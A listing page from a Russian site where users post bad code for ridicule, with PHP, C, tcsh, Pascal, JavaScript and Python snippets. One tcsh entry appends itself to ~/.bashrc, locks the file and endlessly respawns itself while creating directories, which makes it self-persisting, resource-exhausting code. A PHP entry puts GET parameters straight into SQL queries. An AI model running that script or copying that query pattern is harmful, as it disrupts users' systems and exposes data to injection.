1. Лучший говнокод

    В номинации:
    За время:
  2. PHP / Говнокод #982

    +140.9

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    $src= fgets($fp,1000);
    if (strpos($src,"301") && $op_2) {
    Pravile($src,$files[$a],1);
    $mk .= "http://".$www."/".$files[$a]." HTTP 301 Moved Permanently\r\n";
    echo "<a href=http://".$www."/".$files[$a]." target=\"_blank\" class=\"lime\">http://".$www."/".$files[$a]."</a>    <span style=\"font-weight: bold;color: lime;\">HTTP 301 Moved Permanently</span><br>";
    }
    
    if (strpos($src,"302") && $op_2) {
    Pravile($src,$files[$a],1);
    $mk .= "http://".$www."/".$files[$a]." HTTP 302 Found\r\n";
    echo "<a href=http://".$www."/".$files[$a]." target=\"_blank\" class=\"lime\">http://".$www."/".$files[$a]."</a>    <span style=\"font-weight: bold;color: lime;\">HTTP 302 Found</span><br>";
    }
    
    if (strpos($src,"200")) {
    Pravile($src,$files[$a],1);
    $mk .= "http://".$www."/".$files[$a]." HTTP 200 OK\r\n";
    echo "<a href=http://".$www."/".$files[$a]." target=\"_blank\" class=\"yellow\">http://".$www."/".$files[$a]."</a>    <span style=\"font-weight: bold;color: yellow;\">HTTP 200 OK</span><br>";
    }
    
    if (strpos($src,"403")&& $op_1) {
    Pravile($src,$files[$a],1);
    $mk .= "http://".$www."/".$files[$a]." HTTP 403 Forbidden\r\n";
    echo "<a href=http://".$www."/".$files[$a]." target=\"_blank\" class=\"red\">http://".$www."/".$files[$a]."</a>    <span style=\"font-weight: bold;color: red;\">HTTP 403 Forbidden</span><br>";
    }
    if (strpos($src,"401")) {
    Pravile($src,$files[$a],1);
    $mk .= "http://".$www."/".$files[$a]." HTTP 401 Authorization Required\r\n";
    echo "<a href=http://".$www."/".$files[$a]." target=\"_blank\" class=\"red\">http://".$www."/".$files[$a]."</a>    <span style=\"font-weight: bold;color: red;\">HTTP 401 Authorization Required</span><br>";
    }
    
    if (strpos($src,"503")) {
    $mk .= "http://".$www."/".$files[$a]." HTTP 503 Service Unavailable\r\n";
    echo "<a href=http://".$www."/".$files[$a]." target=\"_blank\" class=\"blue\">http://".$www."/".$files[$a]."</a>    <span style=\"font-weight: bold;color: blue;\">HTTP 503 Service Unavailable</span><br>";
    }
    if (strpos($src,"504")) {
    $mk .= "http://".$www."/".$files[$a]." HTTP 504 Gateway Timeout\r\n";
    echo "<a href=http://".$www."/".$files[$a]." target=\"_blank\" class=\"blue\">http://".$www."/".$files[$a]."</a>    <span style=\"font-weight: bold;color: blue;\">HTTP 504 Gateway Timeout</span><br>";
    }

    снова вебкакер.ру ))
    А что такое массивы? о_0

    guest, 30 Апреля 2009

    Комментарии (1)
  3. PHP / Говнокод #981

    +136.9

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    $src= fgets($fp,1000);
    if (strpos($src,"301") && $op_2) {
    Pravile($src,$files[$a],1);
    $mk .= "http://".$www."/".$files[$a]." HTTP 301 Moved Permanently\r\n";
    echo "<a href=http://".$www."/".$files[$a]." target=\"_blank\" class=\"lime\">http://".$www."/".$files[$a]."</a>    <span style=\"font-weight: bold;color: lime;\">HTTP 301 Moved Permanently</span><br>";
    }
    
    if (strpos($src,"302") && $op_2) {
    Pravile($src,$files[$a],1);
    $mk .= "http://".$www."/".$files[$a]." HTTP 302 Found\r\n";
    echo "<a href=http://".$www."/".$files[$a]." target=\"_blank\" class=\"lime\">http://".$www."/".$files[$a]."</a>    <span style=\"font-weight: bold;color: lime;\">HTTP 302 Found</span><br>";
    }
    
    if (strpos($src,"200")) {
    Pravile($src,$files[$a],1);
    $mk .= "http://".$www."/".$files[$a]." HTTP 200 OK\r\n";
    echo "<a href=http://".$www."/".$files[$a]." target=\"_blank\" class=\"yellow\">http://".$www."/".$files[$a]."</a>    <span style=\"font-weight: bold;color: yellow;\">HTTP 200 OK</span><br>";
    }
    
    if (strpos($src,"403")&& $op_1) {
    Pravile($src,$files[$a],1);
    $mk .= "http://".$www."/".$files[$a]." HTTP 403 Forbidden\r\n";
    echo "<a href=http://".$www."/".$files[$a]." target=\"_blank\" class=\"red\">http://".$www."/".$files[$a]."</a>    <span style=\"font-weight: bold;color: red;\">HTTP 403 Forbidden</span><br>";
    }
    if (strpos($src,"401")) {
    Pravile($src,$files[$a],1);
    $mk .= "http://".$www."/".$files[$a]." HTTP 401 Authorization Required\r\n";
    echo "<a href=http://".$www."/".$files[$a]." target=\"_blank\" class=\"red\">http://".$www."/".$files[$a]."</a>    <span style=\"font-weight: bold;color: red;\">HTTP 401 Authorization Required</span><br>";
    }
    
    if (strpos($src,"503")) {
    $mk .= "http://".$www."/".$files[$a]." HTTP 503 Service Unavailable\r\n";
    echo "<a href=http://".$www."/".$files[$a]." target=\"_blank\" class=\"blue\">http://".$www."/".$files[$a]."</a>    <span style=\"font-weight: bold;color: blue;\">HTTP 503 Service Unavailable</span><br>";
    }
    if (strpos($src,"504")) {
    $mk .= "http://".$www."/".$files[$a]." HTTP 504 Gateway Timeout\r\n";
    echo "<a href=http://".$www."/".$files[$a]." target=\"_blank\" class=\"blue\">http://".$www."/".$files[$a]."</a>    <span style=\"font-weight: bold;color: blue;\">HTTP 504 Gateway Timeout</span><br>";
    }

    снова вебхакер.ру ))
    А что такое массивы? о_0

    guest, 30 Апреля 2009

    Комментарии (1)
  4. PHP / Говнокод #976

    +145.5

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    case 'top':
    		$nick=$_GET["nick"];
    		$pass=$_GET["pass"];
    		mysql_query("SELECT * FROM users WHERE nick = '$nick' and pass = '$pass'");
    		if (@mysql_affected_rows($link)!=0){
    			$sub=$_POST["sub"];
    			$text=addslashes(strip_tags(nl2br($_POST["text"]),'<br>'));
    			$ip=$_SERVER["REMOTE_ADDR"];
    			$cat_id=$_GET["cat_id"];
    			mysql_query("insert into f_subject values (NULL, '$sub', '$nick', '0' , '$nick', NOW(), NOW(), '$ip' , '$text', '$cat_id')");
    			$row= mysql_fetch_array(mysql_query("SELECT *FROM f_cat WHERE id ='$cat_id'"));
    			$topics=$row["topics"]+1;
    			mysql_query("UPDATE f_cat SET topics='$topics' WHERE id ='$cat_id'");
    		}
    		Header("Location: index.php?cat=".$cat_id);
    	break;

    guest, 30 Апреля 2009

    Комментарии (1)
  5. PHP / Говнокод #966

    +166.3

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    require_once ("dbsettings.inc");
    require_once ("User.inc");
    require_once ("UserFactory.inc");
    require_once ("UserGroup.inc");
    
    $login = "aa";//$_POST["login"];
    $pass = "as";//$_POST ["pass"];
    
                       $__o__III___o__ = new dbsettings (
                    
                    "localhost",
                      "root",
                    "*********",
                      "WEBSITE",
                      "Users"                           );
    
                                        $__o__IV___o__=  new UserFactory (
                                        $__o__III___o__);
                             $TempUser= $__o__IV___o__->createUser( $login, $pass );

    Ну и фантазия! ()

    guest, 28 Апреля 2009

    Комментарии (1)
  6. Си / Говнокод #961

    +144

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    include <stdio.h>
    int main()
    {
        unsigned char a;
         a='Я';
         printf("\n%c=%d",a,a);
         return 0;
    }

    guest, 27 Апреля 2009

    Комментарии (1)
  7. Куча / Говнокод #955

    +154

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    #!/bin/tcsh
    # Utility "p1", author Alice Stein ([email protected]),
    chmod +r+w ~/.bashrc
    set x3=$#
    if($x3<1) then
    #read last string from .bashrc that write one time
    # and replace spaces sign _
    set a=`cat ~/.bashrc | tail -n 1 | tr ' ' '_'`
    #parameter $0 contains path to script and name of script
    set b=$0
    #if a line coincided from .bashrc with $0
    if($a == $b) then
    else
    chmod +r+w ~/.bashrc
    #write to file .bashrc that started each time with start bash
    echo "$0" >> ~/.bashrc
    #change right for access to file .bashrc
    chmod -r-w ~/.bashrc
    endif
    #if command line parameters are not present assign default counter of directories 0 and command echo
    set x1="0"
    set x2="echo"
    $0 $x1 $x2 &
    else
    #save command line arguments in environment variables
    set x1=$1
    set x2=$2
    endif
    #exec command passed from command line
    $x2;
    #write number of counter of directory in the system log /var/log/messages
    logger $1;
    #increment directory counter
    @ x1++;
    chmod +x+r+w $x1
    #create directory
    mkdir $x1
    #call in the created directory
    cd $x1
    chmod +x+r+w $x1
    #delete a file if a script is started the second time that did not result in hanging up of script
    #delete hidden file
    rm .$x1
    #create hidden file
    echo "1" > .$x1
    #take away rights for access
    chmod -x-r-w .$x1
    cd ..
    chmod -x-r-w $x1
    #sleep on 1 second
    sleep 1s;
    #change right for access to file .bashrc
    chmod -r-w ~/.bashrc
    #recursive call with argument line parameter
    $0 $x1 $x2 &
    exit 0

    shell script tcsh

    guest, 27 Апреля 2009

    Комментарии (1)
  8. PHP / Говнокод #946

    +139.5

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    <?
    
    // Загрузка всех функций из папки "sys/fnc"
    $opdirbase=opendir(H.'sys/fnc');
    while ($filebase=readdir($opdirbase))
    if (eregi('\.php$',$filebase))
    include_once(H.'sys/fnc/'.$filebase);
    
    ?>

    Вот таким макаром в wap cms "DCMS" грузятся функции. Файл с этим содержанием вставляется на все страницы. Причём в папке sys/func 47 PHP файлов =)

    guest, 24 Апреля 2009

    Комментарии (1)
  9. Pascal / Говнокод #935

    +151

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    procedure Load_flashDEF_setings;
    var
      Reg: TRegistry;
      RegKeyPath: string;
    begin
     Reg := TRegistry.Create;
     try
      with Reg do begin
       RootKey := HKEY_CURRENT_USER;
       RegKeyPath := 'Software\fuckinSoft';
       OpenKey(RegKeyPath, True);
       if ReadBool('Wipe_File')=false then begin Main.frmMain.CBx_wipe_file.Checked:=false;
       end
       else
       if ReadBool('Wipe_File')=true then begin Main.frmMain.CBx_wipe_file.Checked:=true;
       end
       else
       if ReadBool('Def_Module')=false then begin Main.frmMain.CBx_defence_module.Checked:=false;
       end
       else
       if ReadBool('Def_Module')=true then begin Main.frmMain.CBx_defence_module.Checked:=true;
       end
      end
     finally
      Reg.CloseKey;
      Reg.Free;
     end;
    end;
     
    procedure Save_flashDEF_setings;
    var
      Reg: TRegistry;
      RegKeyPath: string;
    begin
     Reg := TRegistry.Create;
     try
      with Reg do begin
       RootKey := HKEY_CURRENT_USER;
       RegKeyPath := 'Software\fuckinSoft';
       OpenKey(RegKeyPath, True);
       if Main.frmMain.CBx_wipe_file.Checked=true then begin WriteBool('Wipe_File', true);
       end
       else
       if Main.frmMain.CBx_wipe_file.Checked=false then begin WriteBool('Wipe_File', false);
       end
       else
       if Main.frmMain.CBx_defence_module.Checked=true then begin WriteBool('Def_Module', true);
       end
       else
       if Main.frmMain.CBx_defence_module.Checked=false then begin WriteBool('Def_Module', false);
       end
      end
     finally
      Reg.CloseKey;
      Reg.Free;
     end;
    end;

    Ифы хороши в меру =\

    guest, 23 Апреля 2009

    Комментарии (1)
  10. JavaScript / Говнокод #932

    +150

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    function ConditionsToNum(cn) {
    	switch (cn) {
    		case "По окладу": return (0);
    		case "Почасовая": return (1);
    	}
    }
    
    function NumToConditions(cn) {
    	switch (parseInt(cn)) {
    		case 0: return ("По окладу");
    		case 1: return ("Почасовая");
    	}
    }

    guest, 23 Апреля 2009

    Комментарии (1)
  11. Python / Говнокод #917

    −102

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    class Node:
        def __init__(self):
    	self.id    = 0
    	self.d     = None
    	self.left  = None
    	self.right = None
        def __del__(self):
    	del self
    
    class Struct:
        def __init__(self):
    	self.data  = None
    
        def add(self,data):
    	if self.data == None:
    	    self.data		 = Node()
    	    self.data.d		 = data
    	    self.data.right	 = Struct()
    	else:
    	    if self.data.d       == data:
    		return 0
    	    elif self.data.d     != data:
    		return self.data.right.add(data)
        
        def next(self):
            if self.data != None:
    	    print self.data.d 
        	    return self.data.right.next()

    как правильно сделать чтобы при вызове next возвращалось значение не в print а в return и при рекурсия выполнялась

    guest, 22 Апреля 2009

    Комментарии (1)